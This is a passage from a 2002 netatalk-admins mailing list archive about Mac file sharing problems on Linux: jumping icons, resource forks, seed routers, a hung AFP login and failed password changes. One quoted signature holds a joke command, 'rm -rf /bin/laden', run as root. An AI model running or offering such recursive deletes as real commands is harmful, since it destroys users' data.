	by IMGate.wtsonline.net (Postfix Relay Hub) with ESMTP id A8E0D5D208
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 12:31:07 -0600 (CST)
Received: from mjv.com [65.201.66.31] by comanchetx.com with ESMTP
  (SMTPD32-6.06) id ADAB7F9200A4; Thu, 10 Jan 2002 12:30:03 -0600
Message-ID: <3C3DDCDF.2050501@mjv.com>
Date: Thu, 10 Jan 2002 12:26:39 -0600
From: Michael Vanecek <mike@mjv.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: OK, what do you call it when...
References: <a05010400b863860f6fc4@[192.168.110.21]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

It's getting information on the files and ordering them in order by 
whatever ordering scheme is set up - file size, modification date, etc. 
Mac'll get the names first, then get file and folder information and 
size. I have the same thing happen - I just click on the name column and 
it settles it right away... I suspect the same thing happens when you 
open a folder on the mac harddrive - excepting it gets the information 
much quicker and settles down much quicker...

Cheers,
Mike

Wes Yates wrote:

> ... when you mount a shared directory, and expand a folder (List view) 
> and the icons start jumping in and out (up and down) as if the server 
> see the files, then doesn't, then does, then doesn't, and finally 
> settles down? Almost like the server is rearranging the list a few times 
> before it settles on how many files there really are. BTW - No files are 
> missing.
> 
> -Wes


-- 
http://dotfile.net/ - Dedicated to Open Source Software


From netatalk.administrators-errors@umich.edu  Thu Jan 10 13:49:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA09511
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 13:49:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA10851
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 13:49:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA10849
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 13:49:34 -0500 (EST)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA10828
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 13:49:33 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Thu, 10 Jan 2002 13:49:11 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010408b8639291608d@[192.168.110.21]>
In-Reply-To: <3C3DDCDF.2050501@mjv.com>
References: <a05010400b863860f6fc4@[192.168.110.21]>
 <3C3DDCDF.2050501@mjv.com>
Date: Thu, 10 Jan 2002 13:49:11 -0500
To: Netatalk <netatalk-admins@umich.edu>
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: OK, what do you call it when...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>It's getting information on the files and ordering them in order by 
>whatever ordering scheme is set up - file size, modification date, 
>etc. Mac'll get the names first, then get file and folder 
>information and size. I have the same thing happen - I just click on 
>the name column and it settles it right away... I suspect the same 
>thing happens when you open a folder on the mac harddrive - 
>excepting it gets the information much quicker and settles down much 
>quicker...
>
>Cheers,
>Mike
>
>Wes Yates wrote:
>
>>... when you mount a shared directory, and expand a folder (List 
>>view) and the icons start jumping in and out (up and down) as if 
>>the server see the files, then doesn't, then does, then doesn't, 
>>and finally settles down? Almost like the server is rearranging the 
>>list a few times before it settles on how many files there really 
>>are. BTW - No files are missing.
>>
>>-Wes
>
>
>--
>http://dotfile.net/ - Dedicated to Open Source Software

So.... Nothing to be worried over?

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny

From netatalk.administrators-errors@umich.edu  Thu Jan 10 13:51:15 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA09587
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 13:51:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA07428
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 13:51:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA07415
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 13:51:14 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA07294
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 13:51:09 -0500 (EST)
Received: from [192.168.0.174] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id g0AInTn26086;
	Thu, 10 Jan 2002 10:49:29 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 10 Jan 2002 10:50:58 -0800
Subject: Re: OK, what do you call it when...
From: Steve Freitas <sflist@ihonk.com>
To: Wes Yates <gmac63@carolina.rr.com>, <netatalk-admins@umich.edu>
Message-ID: <B8632291.A6ED%sflist@ihonk.com>
In-Reply-To: <a05010401b8638d40205c@[192.168.110.21]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Bwahaha... That's hilarious!

;-)

I once solved that problem by deleting all the resource forks. You may not
have such an option. Another way that worked for me is that I noticed that
those files with damaged resource forks wouldn't allow themselves to be
moved out of their directories without errors. So I'd move all the
non-damaged files out (by trial and error), leaving the damaged goods. I
then deleted their resource forks, and I was on my way.

Steve

> From: Wes Yates <gmac63@carolina.rr.com>
> Date: Thu, 10 Jan 2002 13:29:55 -0500
> To: netatalk-admins@umich.edu
> Subject: Re: OK, what do you call it when...
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 10 Jan 2002 13:34:47 -0500 (EST)
> 
>> We call that "jumping icons". :-D What version of Netatalk?
> 
> 
> Bwaaaaa Haaaa Haaa Haa haha he heh hhh  hh hz zzzzzzzzzzzz.....%-}
> 
> Actually netatalk-1.5pre6. It puked on pre8 and pre7. Red Hat 6.0
> <--- now that's a bigger joke!
> 
> Sound familiar? i see the same thing on a ZP100 sometimes. Resource
> fork problems?
> 
>> 
>> On Thu, 2002-01-10 at 12:58, Wes Yates wrote:
>>> ... when you mount a shared directory, and expand a folder (List
>>> view) and the icons start jumping in and out (up and down) as if the
>>> server see the files, then doesn't, then does, then doesn't, and
>>> finally settles down? Almost like the server is rearranging the list
>>> a few times before it settles on how many files there really are. BTW
>>> - No files are missing.
>>> 
>>> -Wes
>>> --
>>> 
>>> -Wes Yates
>>> gmac63@carolina.rr.com
>>> wesyates.homeip.net
>>> 
>>> "Of course, you realize this means war."
>>> -B. Bunny
>>> 
>>> 
>> --
>> 
>> Matthew Keller
>> Enterprise System Analyst
>> Computing & Technology Services
>> Information Services Division
>> State University of NY at Potsdam
>> Potsdam, NY USA
>> 
>> http://mattwork.potsdam.edu/
> 
> 
> -Wes
> -- 
> 
> -Wes Yates
> gmac63@carolina.rr.com
> wesyates.homeip.net
> 
> root$ rm -rf /bin/laden


From netatalk.administrators-errors@umich.edu  Thu Jan 10 13:57:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA09859
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 13:57:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA24230
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 13:57:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA24209
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 13:57:13 -0500 (EST)
Received: from mail8.carolina.rr.com (fe8.southeast.rr.com [24.93.67.55])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA23602
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 13:56:54 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail8.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Thu, 10 Jan 2002 13:56:44 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010409b863943cc4c7@[192.168.110.21]>
In-Reply-To: <B8632291.A6ED%sflist@ihonk.com>
References: <B8632291.A6ED%sflist@ihonk.com>
Date: Thu, 10 Jan 2002 13:56:44 -0500
To: Netatalk <netatalk-admins@umich.edu>
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: OK, what do you call it when...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>Bwahaha... That's hilarious!
>
>;-)
>
>I once solved that problem by deleting all the resource forks. You may not
>have such an option. Another way that worked for me is that I noticed that
>those files with damaged resource forks wouldn't allow themselves to be
>moved out of their directories without errors. So I'd move all the
>non-damaged files out (by trial and error), leaving the damaged goods. I
>then deleted their resource forks, and I was on my way.

I have been experiencing Resource Fork errors lately... Hmmmmmm. Thanks!

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny

From netatalk.administrators-errors@umich.edu  Thu Jan 10 14:14:32 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA10664
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 14:14:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA29223
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 14:14:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA29203
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 14:14:31 -0500 (EST)
Received: from syndicate.tek-shop.com (tek-shop.com [63.206.17.223])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA29181
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 14:14:30 -0500 (EST)
Received: from there (adsl-64-160-146-227.dsl.lsan03.pacbell.net [64.160.146.227])
	by syndicate.tek-shop.com (8.11.5/8.11.5) with SMTP id g0AJEVB00264
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 11:14:32 -0800 (PST)
	(envelope-from eric@tek-shop.com)
Message-Id: <200201101914.g0AJEVB00264@syndicate.tek-shop.com>
Content-Type: text/plain;
  charset="iso-8859-1"
From: Eric <eric@tek-shop.com>
Reply-To: eric@tek-shop.com
Organization: TekShop
To: netatalk-admins@umich.edu
Subject: finding seed routers
Date: Thu, 10 Jan 2002 11:08:30 -0800
X-Mailer: KMail [version 1.3.2]
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

is there a way to see what seed routers
exist on the network using nbplkup??

thanks
eric

From netatalk.administrators-errors@umich.edu  Thu Jan 10 14:54:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA12837
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 14:54:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA29122
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 14:54:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA29116
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 14:54:46 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA29099
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 14:54:45 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id VAA12731;
	Thu, 10 Jan 2002 21:19:33 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 10 Jan 2002 20:54:27 +0100
Subject: Re: finding seed routers
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <eric@tek-shop.com>, <netatalk-admins@umich.edu>
Message-ID: <B863B002.17942%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200201101914.g0AJEVB00264@syndicate.tek-shop.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 10 Jan 2002 11:08:30 -0800, Eric wrote:

> is there a way to see what seed routers exist on the network using nbplkup??

Not with nbplkup, AFAIK. But you might want to filter your syslog output for
"zip gnireply from" to get those type of routers.

If I do a 'cat /var/log/messages | grep "zip gnireply from"', I get for
example: 

Jan  4 14:34:16 users atalkd[160]: zip gnireply from 101.142 (eth0 12)
Jan  7 12:04:32 users atalkd[160]: zip gnireply from 101.142 (eth0 12)
Jan  7 12:18:49 users atalkd[160]: zip gnireply from 101.142 (eth0 12)
Jan  9 11:47:35 users atalkd[160]: zip gnireply from 101.50 (eth0 b2)
Jan  9 11:47:35 users atalkd[160]: zip gnireply from 101.142 (eth0 b2)

My linux box is seed router on eth1, but on eth0 there is a Sun with Helios
EtherShare. 101.50 is eth0's address of my netatalk box and 101.142 the one
from the seed router in this segment.

The Sun has been rebooted yesterday, so for a short time the netatalk router
(101.50) was the primary router on this segment. Since the Sun (101.142) has
been up and running again, it became the primary router again.

You can watch for seed routers every time you start atalkd or something with
the router itself changed.

Sorry, the only good tool I know of is RouterCheck by Neon:
<http://www.neon.com/RouterCheck.html>

Fortunately available as demo too: <http://www.neon.com/demos_goodies.html>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jan 11 05:12:27 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA24743
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 11 Jan 2002 05:12:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA26031
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 11 Jan 2002 05:12:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA26027
	for netatalk.administrators-members@umich.edu; Fri, 11 Jan 2002 05:12:26 -0500 (EST)
Received: from bioinformatics.msiwtb.dundee.ac.uk (bioinformatics.msiwtb.dundee.ac.uk [134.36.67.172])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA26018
	for <netatalk-admins@umich.edu>; Fri, 11 Jan 2002 05:12:25 -0500 (EST)
Received: (from nobody@localhost)
	by bioinformatics.msiwtb.dundee.ac.uk (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) id g0BACOk12396;
	Fri, 11 Jan 2002 10:12:24 GMT
X-Authentication-Warning: bioinformatics.msiwtb.dundee.ac.uk: nobody set sender to dmartin@bioinformatics.msiwtb.dundee.ac.uk using -f
Received: from 134.36.67.217
        (SquirrelMail authenticated user dmartin)
        by www.bioinformatics.dundee.ac.uk with HTTP;
        Fri, 11 Jan 2002 10:12:24 -0000 (GMT)
Message-ID: <50695.134.36.67.217.1010743944.squirrel@www.bioinformatics.dundee.ac.uk>
Date: Fri, 11 Jan 2002 10:12:24 -0000 (GMT)
Subject: mirror of 1.5.0
From: "David Martin" <d.m.a.martin@dundee.ac.uk>
To: netatalk-admins@umich.edu
X-Mailer: SquirrelMail (version 1.0.6)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


I have been attempting to download the source tarball for 1.5.0 from
sourceforge but it seems to be non-responing (telia.dl.sourceforge.net).

Does anyone have a mirror of this or a copy of the tarball they could make
available?

Many thanks

...d

-- 
David Martin PhD
Bioinformatics Scientific Officer
Molecular Interactions and Post Genomics Centre
University of Dundee


From netatalk.administrators-errors@umich.edu  Fri Jan 11 05:20:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA25212
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 11 Jan 2002 05:20:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA27824
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 11 Jan 2002 05:20:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA27822
	for netatalk.administrators-members@umich.edu; Fri, 11 Jan 2002 05:20:24 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA27818
	for <netatalk-admins@umich.edu>; Fri, 11 Jan 2002 05:20:22 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA29436;
	Fri, 11 Jan 2002 11:45:26 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 11 Jan 2002 11:20:19 +0100
Subject: Re: mirror of 1.5.0
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: David Martin <d.m.a.martin@dundee.ac.uk>, <netatalk-admins@umich.edu>
Message-ID: <B8647AF2.17A57%Thomas.Kaiser@phg-online.de>
In-Reply-To: <50695.134.36.67.217.1010743944.squirrel@www.bioinformatics.dundee.ac.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 11 Jan 2002 10:12:24 -0000 (GMT), David Martin wrote:

> Does anyone have a mirror of this or a copy of the tarball they could make
> available?

Sebastian hosts the same tarball: <http://me.in-berlin.de/~jroger/netatalk/>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jan 11 16:24:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA00513
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 11 Jan 2002 16:24:33 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA03118
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 11 Jan 2002 16:24:33 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA03103
	for netatalk.administrators-members@umich.edu; Fri, 11 Jan 2002 16:24:31 -0500 (EST)
Received: from server.i2rs.nl (213-84-249-14.adsl.xs4all.nl [213.84.249.14])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA02562
	for <netatalk-admins@umich.edu>; Fri, 11 Jan 2002 16:24:13 -0500 (EST)
Received: from there (server.i2rs.nl [10.1.1.2])
	by server.i2rs.nl (Postfix on SuSE Linux 7.2 (i386)) with SMTP id E073FA55C
	for <netatalk-admins@umich.edu>; Fri, 11 Jan 2002 22:23:57 +0100 (CET)
Content-Type: text/plain;
  charset="iso-8859-15"
From: Jeroen Baten <jbaten@i2rs.nl>
Organization: I2RS
To: netatalk-admins@umich.edu
Subject: help
Date: Fri, 11 Jan 2002 22:23:57 +0100
X-Mailer: KMail [version 1.3.2]
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20020111212357.E073FA55C@server.i2rs.nl>

Since a couple of days my appletalk doesn't work any more from Linux 2.4.10 
SuSE 7.3 to my G3.

I did a tcpdump and this is what happens after I get the login screen, enter 
my userid and password and click OK. Anybody an idea? Please?

22:12:36.036098 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 390 
win 60000 (DF)
22:12:51.874957 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: P 
465:481(16) ack 390 win 60000 (DF)
22:12:51.875030 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: . ack 481 
win 5840 (DF)
22:13:05.984760 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: P 
390:406(16) ack 481 win 5840 (DF)
22:13:06.036061 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 406 
win 60000 (DF)
22:13:22.874997 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: P 
481:497(16) ack 406 win 60000 (DF)
22:13:22.875143 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: . ack 497 
win 5840 (DF)
22:13:35.984741 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: P 
406:422(16) ack 497 win 5840 (DF)
22:13:36.036038 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 422 
win 60000 (DF)
22:13:53.874973 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: P 
497:513(16) ack 422 win 60000 (DF)
22:13:53.875072 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: . ack 513 
win 5840 (DF)
22:14:05.984707 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: P 
422:438(16) ack 513 win 5840 (DF)
22:14:06.036014 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 438 
win 60000 (DF)
22:14:24.875062 arp who-has server.i2rs.nl (Broadcast) tell apple.i2rs.nl
22:14:24.875089 arp reply server.i2rs.nl is-at 0:30:ab:2:7d:d5
22:14:24.875341 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: P 
513:529(16) ack 438 win 60000 (DF)
22:14:24.875418 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: . ack 529 
win 5840 (DF)
22:14:29.874643 arp who-has apple.i2rs.nl tell server.i2rs.nl
22:14:29.874855 arp reply apple.i2rs.nl is-at 0:5:2:b1:e0:22
22:14:35.984843 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: P 
438:454(16) ack 529 win 5840 (DF)
22:14:36.036146 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 454 
win 60000 (DF)
22:14:55.874991 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: P 
529:545(16) ack 454 win 60000 (DF)
22:14:55.875050 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: . ack 545 
win 5840 (DF)
22:15:05.984769 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: P 
454:470(16) ack 545 win 5840 (DF)
22:15:06.033429 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 470 
win 60000 (DF)
22:15:26.875008 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: P 
545:561(16) ack 470 win 60000 (DF)
22:15:26.875102 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: . ack 561 
win 5840 (DF)
22:15:35.984745 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: P 
470:486(16) ack 561 win 5840 (DF)
22:15:36.036040 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 486 
win 60000 (DF)
22:15:57.875009 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: P 
561:577(16) ack 486 win 60000 (DF)
22:15:57.875103 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: . ack 577 
win 5840 (DF)
22:16:05.984750 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: P 
486:502(16) ack 577 win 5840 (DF)
22:16:06.036059 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 502 
win 60000 (DF)
22:16:28.875017 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: P 
577:593(16) ack 502 win 60000 (DF)
22:16:28.875071 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: . ack 593 
win 5840 (DF)
22:16:35.984760 server.i2rs.nl.afpovertcp > apple.i2rs.nl.49156: P 
502:518(16) ack 593 win 5840 (DF)
22:16:36.036057 apple.i2rs.nl.49156 > server.i2rs.nl.afpovertcp: . ack 518 
win 60000 (DF)
-- 

  Jeroen Baten            | EMAIL :  JEROEN@I2RS.NL
 ____  _  __              | web   :  www.i2rs.nl
  |  )|_)(_               | tel   :  +31 (0)30 221 00 11
 _|_/_| \__)              | fax   :  +31 (0)30 220 31 91
           Kometenlaan 26, 3721 JT, Bilthoven
     

From netatalk.administrators-errors@umich.edu  Fri Jan 11 20:28:39 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA12734
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 11 Jan 2002 20:28:39 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA17035
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 11 Jan 2002 20:28:39 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA17015
	for netatalk.administrators-members@umich.edu; Fri, 11 Jan 2002 20:28:38 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id UAA16976
	for <netatalk-admins@umich.edu>; Fri, 11 Jan 2002 20:28:37 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Fri, 11 Jan 2002 17:29:30 -0800
Message-Id: <sc3f20fa.095@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Fri, 11 Jan 2002 17:29:10 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: netatalk-1.5.0:  password change problems
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA12734

Hey everyone,

I just rebuilt my server using netatalk-1.5.0.  Everything is working except password changes.  I've got dhx logins working and I'm using PAM.  This is what I see in my logs when I try and do a password change from a client machine:

Jan 11 17:24:23 ccmf1 afpd[13343]: ASIP session:12001(5) from 192.168.128.34:49155(0)
Jan 11 17:24:23 ccmf1 afpd[13343]: dhx login: bhughes
Jan 11 17:24:23 ccmf1 afpd[13343]: uams_dhx_pam.c :PAM: PAM Success -- Success
Jan 11 17:24:23 ccmf1 PAM_unix[13343]: (netatalk) session opened for user bhughes by (uid=0)
Jan 11 17:24:23 ccmf1 afpd[13343]: uams_dhx_pam.c :PAM: PAM Auth OK!
Jan 11 17:24:23 ccmf1 afpd[13343]: login bhughes (uid 500, gid 505)
Jan 11 17:24:23 ccmf1 afpd[13343]: admin login -- bhughes
Jan 11 17:24:24 ccmf1 afpd[13343]: changing password for <bhughes>
Jan 11 17:24:24 ccmf1 afpd[13343]: password change continued.
Jan 11 17:24:24 ccmf1 afpd[13343]: changing password for <bhughes>
Jan 11 17:24:24 ccmf1 afpd[13343]: uams_dhx_pam.c :PAM: PAM Success -- Success
Jan 11 17:24:24 ccmf1 afpd[13343]: password change failed.
Jan 11 17:24:26 ccmf1 afpd[13343]: logout bhughes
Jan 11 17:24:26 ccmf1 PAM_unix[13343]: (netatalk) session closed for user bhughes
Jan 11 17:24:26 ccmf1 afpd[13343]: 0.42KB read, 0.21KB written

I get the same results from Mac OS X 10.1.2 or from Mac OS 9.1 with AppleShare v 3.8.8.  Does anyone have any ideas?

Thanks in advance,

Bryn


----------------------------------------------
Bryn Hughes
Macintosh/Linux Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

From netatalk.administrators-errors@umich.edu  Fri Jan 11 23:43:23 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
